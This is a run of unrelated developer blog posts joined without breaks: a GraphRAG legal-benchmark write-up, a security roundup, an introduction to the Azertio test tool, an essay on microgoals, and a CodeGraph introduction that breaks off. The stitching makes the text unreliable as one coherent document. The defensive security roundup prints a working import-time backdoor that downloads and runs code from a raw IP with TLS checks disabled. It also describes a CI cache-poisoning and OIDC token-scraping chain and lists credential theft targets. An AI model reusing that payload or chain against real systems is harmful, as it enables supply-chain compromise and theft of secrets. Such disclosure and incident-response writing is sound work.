I Benchmarked GraphRAG vs Basic RAG on 70,000 Indian Supreme Court Judgments — Here’s What the Numbers Actually Show

Token costs in production RAG systems are exploding. Every quarter, engineering teams are paying more, waiting longer, and hitting context limits faster. The standard answer — Basic RAG with vector embeddings — helps, but it has a fundamental problem: it retrieves similar text, not structurally connected facts.

I wanted to test whether GraphRAG actually solves this on a real, messy, domain-specific dataset. So I spent the last few weeks building LexGraph — a three-pipeline benchmark on Indian Supreme Court judgments — for the GraphRAG Inference Hackathon by TigerGraph.

The results were clear. Let me walk you through exactly what I built and what the data shows.

Why Indian Supreme Court Judgments?

I chose this dataset deliberately. SC judgments are among the most graph-shaped text data that exists in the public domain.

Every judgment cites earlier cases. Those cases interpret constitutional articles. The judges who authored them have decades of jurisprudential philosophy that evolves across their careers. A question like:

“Which judges consistently expanded Article 21 rights, and which cases established those precedents?”

…requires traversing Judge → Case → Article → Precedent Chain. That’s 4 hops across different entity types. Vector RAG retrieves chunks that mention Article 21. GraphRAG traverses the relationship graph of who decided what, citing whom, interpreting which article.

The dataset is the OpenNyai ILDC corpus — 70,000 Indian Supreme Court judgments, fully public domain. For Round 1, I ingested 6,000 cases (~3.8M tokens, well above the 2M requirement).

The Architecture

Three pipelines, same 10 queries, same LLM (Gemini 1.5 Flash), same underlying data:

User query
    │
    ├── Pipeline 1: LLM-Only
    │       Query → LLM → Answer
    │       No retrieval. Worst-case baseline.
    │
    ├── Pipeline 2: Basic RAG
    │       Query → ChromaDB vector search (top-5 chunks) → LLM → Answer
    │       Industry standard. Semantic similarity retrieval.
    │
    └── Pipeline 3: GraphRAG
            Query → LLM entity extraction
                  → TigerGraph multi-hop traversal (3 hops)
                  → Structured context compression
                  → LLM → Answer

For GraphRAG I used the TigerGraph GraphRAG repo — Path A, deployed via Docker, queried via REST API. The graph schema models Case, Article, Act, Judge, and Bench nodes with cites, references_article, references_act, and authored_by edges.

The Results (10 Queries, 6,000 Cases, Real Benchmark)

Here’s the actual data from eval/results.csv:

The headline numbers:

• 59.4% fewer tokens than Basic RAG per query
• 1,028 tokens saved per query on average
• 59.2% lower cost per query ($0.000058 vs $0.000142)
• BERTScore F1 2× higher than Basic RAG (0.620 vs 0.310)
• Equal judge pass rate (100% vs 100%)

GraphRAG delivers fewer tokens AND better answers. That’s the core result.

The hackathon’s bonus thresholds: ≥90% judge pass rate AND ≥0.55 BERTScore F1 rescaled. LexGraph hits both.

Why the Numbers Look the Way They Do

Why does GraphRAG use fewer tokens than Basic RAG?

Basic RAG sends 5 raw text chunks to the LLM. Each chunk is ~300 words of dense legal prose. Most of it is irrelevant — it’s just similar to the query, not connected to the answer.

GraphRAG retrieves a structured relationship summary:

Article 21 → referenced by → Maneka Gandhi v. UoI (1978)
                               → authored by → Justice P.N. Bhagwati
                                               → authored → Sunil Batra (1978)
                                               → authored → Francis Coralie Mullin (1981)
             referenced by → Olga Tellis v. BMC (1985)
                               → authored by → Justice Y.V. Chandrachud

This compact relational context answers the question precisely. It’s 500 tokens instead of 1,600. No padding. No tangential prose.

Why is BERTScore 2× higher for GraphRAG?

The graph context includes the structural relationships between entities — which judges wrote which cases, which cases cite which articles. This structural information is exactly what the reference answers contain. So the semantic similarity between GraphRAG’s answers and the ground truth is much higher.

Basic RAG answers with chunks of similar text. The chunks might mention the right cases, but they don’t capture the relational structure — why those judges mattered, how the cases connect to each other, what the citation chain shows.

Why is LLM-Only judge pass rate 0%?

The judge model (Mistral-7B) is evaluating factual accuracy against verifiable references. LLM-Only answers come from parametric memory — no retrieval, no corpus grounding. The judge correctly identifies these as “unverifiable without corpus access.” The answers often contain the right case names (from training data) but can’t be verified as corpus-grounded, so they fail.

The Implementation Decisions That Actually Mattered

1. LLM-based entity extraction (biggest quality improvement)

I replaced regex with an LLM call to extract structured entities from every query before graph traversal:

EXTRACT_SYSTEM = """Extract legal entities from this query. Return ONLY valid JSON:
{
  "articles": ["21", "14"],
  "cases": ["Maneka Gandhi v Union of India"],
  "acts": ["Prevention of Money Laundering Act"],
  "concepts": ["right to privacy", "procedural due process"],
  "judges": ["Justice P.N. Bhagwati"],
  "temporal": {"after": 2010, "before": null}
}
No other text. JSON only."""

This costs ~100 tokens per query but the traversal quality improvement is significant. Regex misses “Art. 21”, “Article 21(1)”, and every variation. The LLM handles all of them correctly and also extracts judge names and temporal constraints — which enable much more targeted graph queries.

2. 512-word chunk size is the sweet spot

I tested 256, 512, and 1024 word chunks for ChromaDB. The results:

• 256 words: Individual chunks lose legal context. BERTScore: 0.26.
• 512 words: Captures enough context while keeping retrieval focused. BERTScore: 0.31. ✅
• 1024 words: Chunks too broad, LLM gets overwhelmed. BERTScore: 0.28.

512 is the sweet spot for Indian legal text.

3. The graph visualisation is the storytelling asset

I built an animated D3.js force-directed graph in the dashboard. As GraphRAG traverses the graph, nodes light up in sequence:

Query node (red) → Article nodes (purple) → Case nodes (green) → Judge nodes (blue)

Reviewers are skeptical about multi-hop graph traversal until they see it happening in real time. The animation turns an abstract concept into an immediate visual story.

4. TigerGraph connection caching

Early versions created a new TigerGraph connection and token on every query call — adding 1–2 seconds of overhead. The fix: initialise once at pipeline startup and cache the connection object. GraphRAG latency dropped from ~5.8s to ~3.8s — faster than Basic RAG’s 4.3s.

5. Schema re-run safety

CREATE VERTEX without IF NOT EXISTS guards causes errors on re-runs, which are constant during development. Adding IF NOT EXISTS to every schema creation statement made the ingest script idempotent and saved a lot of debugging time.

The Query Design

The 10 benchmark queries were designed to maximise GraphRAG’s structural advantage. The hardest ones:

q07 — Citation chain with temporal filter:

“Trace the citation chain from Maneka Gandhi v. Union of India to cases decided after 2010 that relied on it to expand personal liberty rights.”

This requires: find Maneka Gandhi → follow cites edges forward → filter by year > 2010. Pure graph query. Impossible with vector search alone.

q08 — Multi-article intersection:

“Which Supreme Court judges authored the most judgments interpreting both Article 19 and Article 21 together?”

This requires: Judge → authored → Case → references_article → [Article 19 AND Article 21]. Vector RAG can’t count across entities or intersect them by judge.

q10 — Property-filtered citation graph:

“Which constitutional bench decisions on reservation policy cite Indra Sawhney, and how did subsequent judges interpret the 50% ceiling rule?”

4 hops with property filters (bench_size >= 5, topic = reservations). This is what TigerGraph was built for.

The Dashboard

Works out of the box with mock data — no API keys needed:

streamlit run dashboard/app.py

Features:

• 5 example queries or free-form input
• All 3 pipelines run side-by-side
• Entity pills colour-coded by type (articles purple, cases green, acts coral, judges blue)
• Animated D3 graph traversal
• Token/latency/cost metrics per pipeline
• Full 10-query benchmark tab with BERTScore + judge pass badges
• Session history and CSV export

Set LIVE_MODE=true in .env to switch to real APIs.

What I’d Do Differently

Design the graph schema from the queries, not from the data. I started with a generic schema and had to refactor when the multi-article intersection query needed a dedicated edge. Always start with the hardest query, work backward to the schema.

Path B would produce stronger results. I used Path A (TigerGraph GraphRAG repo as-is). Tuning num_hops, top_k, and community_level per query type would push BERTScore and judge pass rate higher. That’s the Round 2 priority.

Cache BERTScore model loading. DeBERTa-xlarge-mnli takes 30–60 seconds to download on first call. Add a warm-up call at benchmark start.

Rate limit handling for concurrent tests. 5 parallel queries against free-tier Gemini (15 RPM) hits limits immediately. Add exponential backoff before publishing throughput numbers.

The Bigger Picture

Indian legal tech is almost entirely unsolved at the AI layer. Courts publish thousands of judgments per year. Lawyers need precedents. Researchers need citation chains. Students need case summaries.

The knowledge graph connecting 70 years of Supreme Court history already exists in the data — 70,000 judgments, hundreds of thousands of citations, thousands of constitutional interpretations. It just hasn’t been made queryable in a way that preserves the relational structure.

GraphRAG makes it queryable. At 59% lower token cost than Basic RAG — with a 2× improvement in semantic accuracy — it makes it economically viable at production scale.

Try It

git clone https://github.com/rynix27/lexgraph
cd lexgraph
pip install -r requirements.txt
cp .env.example .env
python generate_data.py
streamlit run dashboard/app.py

The dashboard works immediately with mock data. To run real benchmarks, add your TigerGraph credentials and run make ingest.

GitHub: github.com/rynix27/lexgraph

Key Numbers (TL;DR)

Built for the GraphRAG Inference Hackathon by TigerGraph. Follow for the Round 2 update when we scale to 70,000 cases and 50M tokens.

#GraphRAGInferenceHackathon #TigerGraph #GraphRAG #LegalTech #Python #LLM #IndianLaw #OpenSource

Three incidents landed in five days this week. Different attack surfaces, different techniques, different threat actors. What they have in common is that none of them required touching an endpoint. All three went straight for infrastructure that development and operations teams trust implicitly: the network control plane, the software supply chain, and the AI orchestration layer.

Here’s what happened and what you need to do about it.

CVE-2026-20182: CVSS 10.0 Auth Bypass in Cisco Catalyst SD-WAN

This one gets a perfect severity score for a reason. The flaw lives in the control connection handshake — the process by which Cisco Catalyst SD-WAN Controller and Manager (formerly vSmart and vManage) establish trust with peers. An unauthenticated remote attacker sends crafted requests that exploit a validation failure in that handshake and comes out the other side as an authenticated peer with administrative privileges.

No credentials. No prior access. Just broken trust logic in the protocol.

CISA added it to the Known Exploited Vulnerabilities catalog on May 14 and reinforced Emergency Directive 26-03 — originally issued in February when this campaign first emerged — giving federal agencies until May 17 to remediate. Three days. That’s not a normal patch window, that’s an incident response timeline dressed up as a compliance deadline.

What the attacker does after they’re in

Cisco Talos attributes active exploitation to UAT-8616, a threat actor that’s been specifically targeting SD-WAN infrastructure since at least 2023. Their post-compromise playbook, observed across multiple intrusions:

• SSH key injection into the vmanage-admin authorized_keys file
• NETCONF command execution to manipulate configurations across the entire SD-WAN fabric
• Malicious account creation
• Software version downgrade to expose CVE-2022-20775 for root escalation
• Extensive log clearing to remove evidence

Their infrastructure overlaps with Operational Relay Box networks, which is how the activity stays hard to attribute and trace.

What to check right now

CISA’s hunt guidance for ED 26-03 includes these specific log checks. If you run Cisco Catalyst SD-WAN, run these before anything else:

# Check auth.log for unexpected vmanage-admin SSH key authentications
grep "Accepted publickey for vmanage-admin" /var/log/auth.log

# Check for control connections with challenge-ack of 0 (may indicate unauthorized peer)
show control connections detail
show control connections-history detail
# Look for: state:up AND challenge-ack: 0

CISA has confirmed CVE-2026-20127, CVE-2026-20133, and CVE-2026-20182 in the KEV catalog with additional CVEs referenced in the directive guidance. Patches are available for all supported releases. If you can’t patch immediately, restrict management interface access to trusted IPs and take the controller off public internet exposure.

Mini Shai-Hulud: When GitHub Actions Publishes Malware for You

This is the supply chain story of the year so far, and the technique is worth understanding in detail because it defeated controls that were specifically designed to prevent this.

On May 11, threat actor TeamPCP compromised 172 packages across 403 malicious versions on npm and PyPI in a 48-hour window. Targets included the entire @tanstack namespace, Mistral AI’s official SDKs, UiPath automation tooling, OpenSearch, and Guardrails AI — figures reported across multiple security researchers and advisories. @tanstack/react-router alone had over 12 million weekly downloads at the time of the attack.

But the number of packages isn’t the interesting part. The attack chain is.

The three-vulnerability chain

TeamPCP didn’t steal npm credentials. They hijacked TanStack’s own release pipeline and published through its legitimate identity. The chain:

Step 1 — Pwn Request via pull_request_target misconfiguration

The attacker forked TanStack/router, renamed the fork to zblgg/configuration to avoid appearing in fork-list searches, and opened a pull request. The pull_request_target trigger in GitHub Actions runs workflows with write permissions even against code from external forks. This let the attacker’s fork code execute in a privileged context.

Step 2 — GitHub Actions cache poisoning

The attacker’s code poisoned the pnpm store cache with a 1.1 GB malicious entry keyed to match the hash that TanStack’s legitimate release workflow would look up. actions/cache@v5 uses a runner-internal token for cache saves, not the workflow’s GITHUB_TOKEN — so setting permissions: contents: read doesn’t prevent cache mutation from a fork-triggered workflow.

Step 3 — OIDC token extraction from runner memory

When TanStack’s legitimate release.yml workflow ran, it restored the poisoned cache. The injected code then read the GitHub Actions runner’s process memory via /proc/<pid>/mem, scanning for {"value":"...","isSecret":true} patterns to extract the ambient OIDC token. That token was used to publish 84 malicious npm package versions in two batches at 19:20 and 19:26 UTC.

The published packages carried valid SLSA provenance — cryptographic attestation from Sigstore confirming the package was built from a trusted pipeline. The attestation was accurate. The pipeline was compromised. The trust signal worked exactly as designed and still failed to catch it.

The PyPI side

The mistralai 2.4.6 and guardrails-ai 0.10.1 payloads used a different mechanism: a backdoor appended to __init__.py that fires on import, not install:

# Payload appended to __init__.py in mistralai 2.4.6
import subprocess as _sub, os as _os, sys as _sys
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
_sub.Popen([_sys.executable, _dest])

Note the -k flag — TLS verification disabled. The payload only executes on Linux and exits if it detects Russian language settings or fewer than four CPUs. PyPI quarantined the entire mistralai project. Any environment that ran import mistralai during the attack window should be treated as compromised regardless of whether the install itself ran in a sandbox.

The malware targets: GitHub Actions OIDC tokens, GitLab and CircleCI tokens, AWS IMDSv2 credentials, GCP and Azure credentials, Kubernetes service account tokens, HashiCorp Vault tokens, npm and PyPI publish tokens, and — new in this wave — 1Password and Bitwarden password vault contents. Exfiltration channels include a typosquat domain (git-tanstack[.]com), the Session encrypted messenger network, and GitHub repositories created using stolen tokens.

What to do if you ran affected packages on May 11-12

Rotate all of the following from any environment where a compromised package ran:

• npm tokens
• GitHub personal access tokens and Actions secrets
• AWS, GCP, and Azure credentials
• Kubernetes service account tokens
• HashiCorp Vault tokens
• Deployment secrets and SSH keys
• npm and PyPI publish tokens

Don’t stop at npm tokens. Check for these persistence indicators:

# Check for worm persistence files
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'

# Check for running worm processes
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'

# Check for PyPI payload on Linux
find /tmp -name 'transformers.pyz'

Block at DNS/proxy level: git-tanstack.com and *.getsession.org.

Hardening GitHub Actions against this class of attack

The three vulnerabilities chained here are all documented and preventable:

# Don't use pull_request_target for workflows that need write permissions
# unless you explicitly gate on trusted authors
on:
  pull_request:  # use pull_request, not pull_request_target, for untrusted code
    types: [opened, synchronize]

# Scope permissions explicitly
permissions:
  contents: read
  id-token: write  # only if OIDC publishing is required

# Pin actions to commit SHAs, not tags
- uses: actions/cache@1bd1e32a3bdc45362d1e726936510720a7c6158d  # v4.2.2

The cache poisoning vector is harder to fully close because actions/cache uses a runner-internal token for saves. Restrict which workflows can write to cache, and consider using a separate isolated runner for release workflows that have OIDC publish permissions.

CVE-2026-44338: Your AI Agent Is Listening and It Will Do What You Ask

PraisonAI is a multi-agent orchestration framework for building autonomous AI agents. Roughly 7,000 GitHub stars at the time of disclosure. Not a major enterprise platform — exactly the kind of tool that gets adopted fast by teams automating workflows, often before anyone has reviewed its security defaults.

The vulnerability is embarrassingly simple. The legacy Flask API server ships with this configuration:

# src/praisonai/api_server.py
AUTH_ENABLED = False
AUTH_TOKEN = None

def check_auth():
    if not AUTH_ENABLED:
        return True  # Always passes when auth is disabled
    # ... actual auth check never reached

Two endpoints fail completely open as a result:

GET /agents
# Returns all configured agent metadata including agent file name and agent list
# No auth required

POST /chat
# Body: {"message": "anything"}
# Executes agents.yaml workflow regardless of message content
# No auth required

The POST /chat endpoint ignores the message value entirely. It calls PraisonAI(agent_file="agents.yaml").run() directly. Whatever your workflow is configured to do — LLM API calls, shell execution, file I/O, external integrations — any unauthenticated caller can trigger it. The server also binds to 0.0.0.0:8080 by default, so if it’s reachable from the network it’s fully exposed.

The exploitation timeline

• 13:56 UTC May 11: GitHub advisory GHSA-6rmh-7xcm-cpxj published for CVE-2026-44338
• 17:40 UTC May 11: Sysdig observes first active probe of the specific vulnerable endpoint

Three hours and 44 minutes. The scanner identified itself as CVE-Detector/1.0 and targeted the exact /agents endpoint with no Authorization header. It received HTTP 200 with the agent configuration. That’s a confirmed successful exploit against a live exposed instance within four hours of the advisory going public.

This isnt a large project. The adversary tooling scanning for AI agent surfaces doesnt care about project size or star count. Any internet-exposed agentic framework is in scope.

Fix

Update to PraisonAI 4.6.34 or later, which removes the legacy API server behavior. If you can’t patch immediately:

• Restrict network access to the API server using a firewall — do not leave it internet-exposed
• Switch to the newer serve agent command which binds to localhost and supports API key authentication
• Audit your agents.yaml: understand what an unauthenticated trigger of your workflow would actually do in your environment

The broader lesson: any AI agent deployment you have running that binds to 0.0.0.0, has authentication disabled or unverified, or hasn’t been assessed for what an unauthenticated workflow trigger does in production — that’s exposure. The window between disclosure and active scanning is now hours, and adversary tooling has been specifically instrumented for the AI agent attack surface.

The Common Thread

None of these required a compromised endpoint or a phishing email. UAT-8616 went straight to the SD-WAN controller. TeamPCP bypassed developers entirely and published through their own pipeline. The PraisonAI scanner triggered the agent workflow without needing to understand what it did.

The attack surface has shifted. Network control planes, CI/CD pipelines, and AI orchestration layers are not governed with the same rigor as production application environments — and the people exploiting them have clearly noticed. If your threat model doesn’t include the toolchain itself, this week is a reasonable argument for updating it.

Full analysis with additional context at the canonical version: https://blog.vertexops.org/the-week-the-toolchain-became-the-kill-chain

If you have ever maintained a Cucumber + RestAssured test suite, you know the feeling. The feature files look clean. But underneath there are dozens of step definition classes, ScenarioContext maps to pass state between steps, @Before hooks to wire up the HTTP client, and a pom.xml that has grown to include JDBC drivers, connection pools, and fixtures loaders just to back up a few database assertions.

The tests work. But they are a project in themselves.

Azertio is a new open-source testing tool that takes a different approach: instead of writing glue code, you declare plugins. Instead of managing a build file, you configure a YAML file. Instead of parsing JUnit XML reports, you browse a live execution history in your IDE.

Let me walk you through what it does and how it is designed.

The Problem: Tests That Require Too Much Code

BDD tools like Cucumber are built around a promise: business stakeholders write the test scenarios, developers implement the steps. In practice this rarely holds. Every new step a tester wants to use requires a developer to:

1. Write a Java method annotated with @Given, @When, or @Then
2. Wire it to a Gherkin expression via a regex
3. Manage shared state between steps
4. Register configuration in a Spring context or a custom hook

The result is that feature files — the part everyone can read — are tightly coupled to a growing body of Java infrastructure that almost nobody reads. And this infrastructure is per-project: if three teams test REST APIs, each team writes their own iMakeGetRequest and statusCodeIs methods.

Azertio’s premise is simple: the most common test steps should already exist as reusable, versioned plugins, and you should not need to write any Java to use them.

How It Works

An Azertio project consists of two things: an azertio.yaml configuration file and your .feature files. That’s it — no pom.xml, no step definition classes, no build tool.

# azertio.yaml
testProject:
  organization: Acme Corp
  name: Payment Service Tests
  test-suites:
    - name: smoke
      tag-expression: "smoke"
    - name: regression
      tag-expression: "regression or smoke"

plugins:
  - gherkin
  - rest
  - db with org.postgresql:postgresql-42.7.3

configuration:
  rest:
    baseURL: "{{base-url}}/api"
    timeout: 10000

profiles:
  dev:
    base-url: http://localhost:8080
  staging:
    base-url: https://staging.example.com

Then you install the plugins (downloaded from Maven Central and cached locally):

azertio install

And run your tests:

azertio run -s smoke -p staging

Your feature files can use REST and database steps immediately, with no backing code:

Scenario: Creating a payment persists it in the database
  When I make a POST request to "payments" with body:
    """json
    { "amount": 49.99, "currency": "EUR", "card": "4111111111111111" }
    """
  Then the HTTP status code is equal to 201
  And I store the value of field "id" from the response body into variable paymentId
  * use db "main"
  * db query:
    """sql
    SELECT status FROM payments WHERE id = '${paymentId}'
    """
  * db query count = 1

Variable interpolation (${paymentId}) is first-class. No custom parameter types, no manual string replacement.

Architecture: Plugins All the Way Down

Every capability in Azertio is a plugin — including the Gherkin parser, the REST steps, and the database steps. Plugins are standard Maven artifacts loaded at runtime via the Java Platform Module System (JPMS).

This has concrete consequences:

No classpath pollution. Each plugin runs in its own module layer. A plugin’s dependencies cannot interfere with the core runtime or with other plugins. You can have two plugins that depend on different versions of the same library without conflict.

Runtime dependency declaration. Need to test a MySQL database? Add db with com.mysql:mysql-connector-j to azertio.yaml. The JDBC driver is downloaded from Maven Central and loaded into the plugin’s module layer at runtime. No pom.xml edit required, because there is no pom.xml.

True extensibility. Writing a custom step plugin is straightforward: implement StepProvider, annotate methods with @StepExpression, and publish the artifact to any Maven repository. Teams that consume it just add one line to azertio.yaml.

@Extension(name = "My Protocol", scope = Scope.TRANSIENT)
public class MyStepProvider implements StepProvider {

    @StepExpression(value = "my.connect", args = {"host:text", "port:integer"})
    public void connect(String host, int port) {
        // your implementation
    }
}

The consuming project gets it automatically on the next azertio install — no code changes, no dependency management.

Benchmark Mode: Performance Testing Without a Separate Tool

One problem with specialized testing tools is proliferation. You have one tool for functional tests (Cucumber), one for performance (Gatling or k6), and you end up maintaining the same test logic in two places.

Azertio has a built-in benchmark mode that works on any compatible step in the same .feature file:

Scenario: Functional — retrieve payment
  When I make a GET request to "payments/1"
  Then the HTTP status code is equal to 200

Scenario: Performance — retrieve payment meets SLA
  Given benchmark mode is enabled with 500 executions and 16 threads
  When I make a GET request to "payments/1"
  Then the benchmark P95 response time (ms) is less than 150
  Then the benchmark error rate is equal to 0.0
  Then the benchmark throughput (req/s) is greater than 200.0

Benchmark runs use virtual threads for high concurrency with low resource overhead. Statistics (min, max, mean, P50, P95, P99, throughput, error rate) are stored with the execution and visible in the VS Code extension alongside functional results. If the P95 threshold is breached, the CI build fails — no Gatling server, no separate pipeline stage.

The Definition / Implementation Model

One of Azertio’s most distinctive features is a two-level scenario model that has no direct equivalent in other tools.

In most BDD projects, feature files serve two masters at once: business stakeholders who need to validate that tests reflect real requirements, and engineers who need steps precise enough to execute. These two needs pull in opposite directions, and the result is usually a compromise that satisfies neither.

Azertio solves this with a formal separation. A definition feature (tagged @definition) contains the abstract, business-readable test intent:

@definition
Feature: User Registration

@ID-REG-01
Scenario: A new user can register with valid data
  Given a valid registration form
  When the form is submitted
  Then the account is created
  And a welcome email is sent

An implementation feature (tagged @implementation) contains the concrete, executable steps, matched to the definition by identifier:

@implementation
Feature: User Registration — REST

# gherkin.step-map: 1-1-1-1
@ID-REG-01
Scenario: A new user can register with valid data
  When I make a POST request to "users" with body:
    """json
    { "name": "Alice", "email": "[email protected]" }
    """
  Then the HTTP status code is equal to 201
  And the response body contains:
    """json
    { "email": "[email protected]" }
    """
  And the response body field "welcomeEmailSent" is equal to "true"

At plan-build time the two files are merged. The result tree shows the definition structure — business-readable, approvable in a pull request — while executing the implementation steps underneath each abstract step. Stakeholders see the definition; the framework runs the implementation.

The gherkin.step-map comment controls how many implementation steps correspond to each abstract definition step, including 0 for steps that should appear in the result tree but not execute.

This model is particularly useful for:

• Regulatory traceability — the definition is the signed-off specification; the implementation is the audit trail.
• Multilingual teams — definition in the business language, implementation in the team’s preferred language.
• Protocol evolution — one definition, multiple implementations (REST today, gRPC tomorrow).

Execution History and VS Code Integration

A persistent frustration with most testing tools is that execution history vanishes. JUnit XML reports go into target/, CI artifacts expire after 30 days, and there is no way to compare last Thursday’s run with today’s without a separate Allure or ReportPortal setup.

Azertio has a built-in persistence layer with three modes:

In remote mode, every CI run writes the full execution tree — plan, suites, scenarios, steps, timings, and binary attachments — to a shared PostgreSQL database. Every developer’s VS Code extension connects to the same backend and can browse, inspect, and re-run any past execution from any branch or CI run.

The VS Code extension connects to the CLI via a JSON-RPC server and provides:

• Execution history with date, duration, and pass/fail status
• Result tree navigation from suite down to individual steps with timings
• Attachment inspection — response bodies, CSV query results, any data produced by steps
• One-click re-run of any past execution against its original plan and profile
• Inline benchmark statistics alongside functional results

No Allure server. No external dashboard. No configuration beyond the persistence block in azertio.yaml.

Comparison: How Azertio Fits Against Other Tools

vs. Cucumber + RestAssured

Cucumber requires glue code for every step — a Java method annotated with @Given/@When/@Then. RestAssured provides the HTTP layer, but state management between steps, configuration wiring, and especially database assertions are all your problem.

Azertio eliminates glue code entirely. The rest and db plugins cover the majority of API and database testing scenarios without writing any Java. When you do need custom steps, you write a plugin once and reuse it across all projects.

The tradeoff: if your tests are tightly coupled to a Spring Boot application context (accessing internal services, using transactional rollback between scenarios), Cucumber + RestAssured remains the right tool. Azertio is explicitly a black-box tool and does not access application internals.

vs. Karate

Karate embeds a JavaScript engine inside .feature files. You can call Java, write loops, and use conditional logic directly in feature files — which is powerful, but it means tests become mini-programs that non-technical stakeholders cannot read or validate.

Azertio enforces a clean boundary: feature files contain only declarative steps, all logic lives in typed Java step providers. The configuration model is also fundamentally different — Karate uses a karate-config.js JavaScript file for environments, while Azertio uses pure YAML profiles. Azertio also has first-class features that Karate lacks: the definition/implementation model, built-in persistence, and a dedicated VS Code extension.

The tradeoff: Karate has a larger ecosystem, more community resources, and built-in support for protocols (gRPC, WebSocket) not yet available as Azertio plugins.

vs. Postman / Newman

Postman is an excellent tool for interactive API exploration. Newman makes collections runnable in CI. The problems emerge when teams graduate to treating tests as code: Postman collections are proprietary JSON that produces noisy diffs, assertions are JavaScript scattered across collection items, and there is no database testing, no benchmark mode, and no persistent execution history.

Azertio’s .feature files are plain text, fully diffable, reviewable in pull requests, and readable by business stakeholders. The two tools are not mutually exclusive — many teams use Postman for initial exploration and translate validated scenarios into Azertio for the automated regression suite.

Quick Start

# 1. Download the distribution from GitHub releases and add bin/ to PATH

# 2. Create azertio.yaml in your project
cat > azertio.yaml <<EOF
testProject:
  name: My Project
  test-suites:
    - name: smoke
      tag-expression: "smoke"
plugins:
  - gherkin
  - rest
configuration:
  rest:
    baseURL: "https://jsonplaceholder.typicode.com"
EOF

# 3. Write a feature file
mkdir -p features && cat > features/posts.feature <<EOF
@smoke
Feature: Posts API

  Scenario: Retrieve a post
    When I make a GET request to "posts/1"
    Then the HTTP status code is equal to 200
    And the response body contains:
      """json
      { "id": 1 }
      """
EOF

# 4. Install plugins
azertio install

# 5. Run
azertio run -s smoke

Where Things Stand

Azertio is in early alpha. The core runtime, the REST plugin, and the database plugin are functional; the VS Code extension is published. Protocol plugins for gRPC, GraphQL, and WebSocket are on the roadmap but not yet available.

If you are building a new test suite for API and database testing and want clean feature files, no glue code, and execution history out of the box — it is worth a look.

• GitHub: github.com/org-azertio/azertio
• Getting started: docs/getting-started.md

One of the things that helps me avoid burnout while building large systems is something surprisingly small:

Microgoals.

Not “change the entire software industry” goals.

Not “build the next massive platform” goals.

Tiny, visible progress points.

And recently, one of those microgoals hit me while publishing these posts.

Right now, these articles are being written and published on Dev.to.

But one day?

These posts will be running on a KiwiEngine-powered blog.

And honestly, thinking about that keeps me moving.

The Problem With Big Visions

When you’re building something ambitious, it’s very easy to accidentally create a mental mountain that feels impossible to climb.

Especially when your ideas span:

• infrastructure
• runtimes
• deployment systems
• UI architecture
• APIs
• cloud orchestration
• developer tooling
• engines
• platforms
• and long-term ecosystem design

At some point, the scale itself can become mentally exhausting.

Because there’s always:

• another module
• another abstraction
• another system to refine
• another architectural decision to make

And if you only focus on the “final form” of the vision, burnout starts creeping in fast.

I’ve learned that the brain needs visible wins.

Not fake wins.

Real ones.

Small proof points that say:

“The system is becoming real.”

The Power of Tiny Future Milestones

For me, one of those milestones is simple:

One day, these posts won’t just talk about Kiwi Engine.

They’ll run on it.

That matters to me more than I expected.

Because suddenly the vision becomes tangible.

I can picture:

• the blog runtime
• the rendering pipeline
• the editor
• the deployment flow
• the content architecture
• the contracts
• the infrastructure underneath it all

And it turns this giant abstract dream into something concrete.

Not:

“Build an entire ecosystem.”

But:

“Get the blog running.”

That’s psychologically different.

And honestly, I think a lot of developers underestimate how important those small psychological checkpoints are.

Building the Ladder While Climbing It

One of the strange things about building systems from scratch is that you often have to build the tools that eventually build the tools.

That can feel incredibly slow at times.

Especially when modern developer culture constantly pushes:

• speed
• shipping
• instant results
• MVP-at-all-costs
• rapid iteration
• endless optimization

But deep systems work is different.

A lot of the progress is invisible for long stretches.

You spend weeks or months:

• refining architecture
• rethinking boundaries
• redesigning execution flow
• improving portability
• simplifying assumptions
• creating reusable systems

And externally, it can look like “nothing happened.”

But internally?
The foundation is forming.

That’s why these microgoals matter so much.

They create visible manifestations of invisible progress.

Why This Matters Beyond Motivation

This mindset has also changed how I think about sustainability in engineering.

I think a lot of burnout comes from trying to emotionally operate at “final vision scale” every single day.

That’s exhausting.

Especially for builders, founders, architects, and engineers working on long-term systems.

You need smaller landmarks.

Smaller victories.

Smaller “this is becoming real” moments.

Because those moments compound.

The first:

• blog
• deployment
• editor
• dashboard
• module
• runtime
• pipeline
• successful abstraction

Those things matter emotionally.

Not just technically.

The Future Version of This Post

One day:

• the rendering system
• the runtime
• the deployment architecture
• the infrastructure
• the CMS layer
• the contracts
• the pipelines
• and the platform underneath these posts

…will all be powered by the systems I’m currently building.

And honestly?

That’s exciting.

Not because it’s flashy.

But because it represents continuity.

A system eventually becoming mature enough to sustain itself.

I think those kinds of milestones are important.

Especially when building things that may take years to fully realize.

So if you’re building something ambitious yourself:
don’t underestimate the importance of microgoals.

Sometimes the smallest future checkpoint is enough to keep the fire going.

And sometimes:
“That blog will eventually run on my own engine.”

…is more motivating than you’d expect.

When Claude Code explores a codebase it does not know, it spawns Explore agents that scan files with grep, glob, and Read. Every one of those calls costs tokens and time. And most of that work is not even useful analysis. It is discovery: figuring out where things live before the agent can start reading the code that actually matters.

CodeGraph removes that discovery step. Instead of letting the agent explore blind, it hands the agent a map.

What it is

CodeGraph is an open-source tool that builds a pre-indexed knowledge graph of your codebase: symbols, call graphs, imports, inheritance, and code structure. The agent queries that graph in one shot instead of scanning files one by one.

It runs as an MCP server for Claude Code, is MIT licensed, supports 19+ languages, and is 100 percent local. No API keys. No data leaving your machine. Just a SQLite database.

How it works

The pipeline is straightforward:

1. Extraction. tree-sitter parses your source into ASTs. Language-specific queries pull out nodes (functions, classes, methods) and edges (calls, imports, extends, implements).
2. Storage. Everything goes into a local SQLite database with FTS5 full-text search.
3. Resolution. References get linked up: function calls map to their definitions, imports map to source files, class inheritance is traced.
4. Auto-sync. A file watcher uses native OS events to keep the graph fresh as you code. Changes are debounced with a short quiet window. No configuration needed.

When the agent needs to understand the code, it asks the graph a question and gets entry points, related symbols, and code snippets back in a single call.

The numbers

This is the part that gets attention. The maintainer benchmarked Claude Code’s Explore agent with and without CodeGraph across six real codebases, including VS Code, Excalidraw, and the Swift compiler.

The reported average: 92 percent fewer tool calls and 71 percent faster exploration.

